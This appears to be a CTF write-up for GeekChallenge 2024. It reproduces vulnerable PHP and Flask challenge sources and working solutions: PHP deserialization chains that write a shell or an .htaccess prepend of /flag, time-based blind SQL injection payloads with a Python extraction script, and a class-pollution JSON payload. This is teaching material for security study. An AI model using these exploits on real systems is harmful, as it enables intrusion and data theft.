<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);
        
        

        
    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
Well, you haven't started.

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
)

<?php
$a = 10932435112;
$b = "Geekchallenge2024_bmKtL";
if (sha1($a) == md5($b)){
    echo "right";
}
//right

foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";

        if (preg_match("/.+?rce/ism", $purpose)) {
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);

<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

<?php
Class SYC{
    public $starven;
}

Class lover{
    public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
    public $meimeng;


}

Class Geek{
    public $GSBP;

}
$a = new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP = new lover();
$a->meimeng->GSBP->meimeng = new Geek();
$a->meimeng->GSBP->meimeng->GSBP = new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven = 'php://filter/string.rot13|<?cuc cucvasb();?>|/resource=shell.php';
$b = serialize($a);
//$c=str_replace("s:7:\"meimeng\";","S:7:\"\\6deimeng\";",$b);//绕过wakeup以及
echo urlencode($c);

<?php
Class SYC{
    public $starven;
}

Class lover{
    public $J1rry="data://text/plain,Welcome GeekChallenge 2024";
    public $meimeng;


}

Class Geek{
    public $GSBP;

}
$a = new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP = new lover();
$a->meimeng->GSBP->meimeng = new Geek();
$a->meimeng->GSBP->meimeng->GSBP = new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven = "php://filter/write=string.strip_tags/?>php_value_auto_prepend_file /flag"."\n"."#/resource=/htaccess";
$b = serialize($a);
$c=str_replace("s:7:\"meimeng\";","S:7:\"\\6deimeng\";",$b);
echo urlencode($c);

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}

<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

Level5：you must let Starven give you flag
<?php
if ($_SERVER["HTTP_STARVEN"] == "I_Want_Flag") {
    echo "........";
}
nonono,you can't get my flag

if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
    die('不准用！');
}

?username='||if((substr(database(),{i},1)/**/like/**/'{j}'),benchmark(2000000,sha1(1)),0)%23
#数据库名为syclover

?username='||if((substr((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'syclover'),{i},1)/**/like/**/'{j}'),benchmark(10000000,sha1(1)),0)%23
#表名有Rea11ys3ccccccr3333t,users

import time
import requests
import datetime

url = "http://80-90a9708b-3563-4bfb-a6cd-544252819a6f.challenge.ctfplus.cn/index.php"

dict = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#&'()*+,-./:;<=>?@[\]^`{|}~"
table = ""
for i in range(1,50):
    sign = 0
    for j in dict:
        payload = f"?username='||if((substr((select/**/*/**/from/**/Rea11ys3ccccccr3333t),{i},1)/**/like/**/'{j}'),benchmark(5000000,sha1(1)),0)%23"
        print(payload)

        time1 = datetime.datetime.now()

        r = requests.get(url+payload)

        time2 = datetime.datetime.now()
        sec = (time2-time1).seconds
        if sec > 2.5 :
            sign = 1
            table += j
            print(table)
            break
    if sign == 0 :
        break
print(table)

# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.12.8 (tags/v3.12.8:2dc476b, Dec  3 2024, 19:30:04) [MSC v.1942 64 bit (AMD64)]
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
        self.username = username
        self.password = password

    def check(self, data):
        return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users = [admin]

def update(src, dst):
    for k, v in src.items():
        if hasattr(dst, "__getitem__"):
            if dst.get(k):
                if isinstance(v, dict):
                    update(v, dst.get(k))
            dst[k] = v
        elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.username == username:
                flash("用户名已存在", "error")
                return redirect(url_for("register"))

        new_user = User(username, password)
        Users.append(new_user)
        flash("注册成功！请登录", "success")
        return redirect(url_for("login"))
    else:
        return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        for u in Users:
            if u.check({'username':username,  'password':password}):
                session["username"] = username
                flash("登录成功", "success")
                return redirect(url_for("dashboard"))

        flash("用户名或密码错误", "error")
        return redirect(url_for("login"))
    else:
        return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
    if "username" in session:
        with open("/app/templates/play.html", "r", encoding="utf-8") as file:
            play_html = file.read()
        return play_html
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if "username" in session:
        if session["username"] == "admin":
            return render_template("admin.html", username=(session["username"]))
    flash("你没有权限访问", "error")
    return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
    return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/dashboard")
def dashboard():
    if "username" in session:
        is_admin = session["username"] == "admin"
        if is_admin:
            user_tag = "Admin User"
        else:
            user_tag = "Normal User"
        return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
    else:
        flash("请先登录", "error")
        return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
    try:
        xml_bytes = app.config["xml_data"].encode("utf-8")
        parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
        tree = etree.fromstring(xml_bytes, parser=parser)
        result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
        return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
        return str(e)


black_list = [
 "__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
    print(data)
    for i in black_list:
        print(i)
        if i in data:
            print(i)
            return False

    return True


@app.route("/update", methods=["POST"])
def update_route():
    if "username" in session:
        if session["username"] == "admin":
            if request.data:
                try:
                    if not check(request.data):
                        return ('NONONO, Bad Hacker', 403)
                    else:
                        data = json.loads(request.data.decode())
                        print(data)
                        if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
                            update(data, User)
                            return (jsonify({"message": "更新成功"}), 200)
                        return ('Invalid character', 400)
                except Exception as e:
                    return (
                     f"Exception: {str(e)}", 500)

        else:
            return ('No data provided', 400)
    else:
        flash("你没有权限访问", "error")
        return redirect(url_for("login"))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=False)

def update(src, dst):
    for k, v in src.items():#遍历src的键值对
        if hasattr(dst, "__getitem__"):#键值对字典形式，检测dst是否为字典
            if dst.get(k):
                if isinstance(v, dict):#检测是否存在键k且判断v是否为字典
                    update(v, dst.get(k))#递归调用
            dst[k] = v#将 src 中的键值对更新到 dst 中。
        elif hasattr(dst, k) and isinstance(v, dict):#dst不是字典但是包含属性k，且v为字典
            update(v, getattr(dst, k))#递归调用更新对象的属性
        else:
            setattr(dst, k, v)
            payload = {
    "__class__" : {
        "__base__" : {
            "secret" : "world"
        }
    }
}

//h4d333333.php
<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

//calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}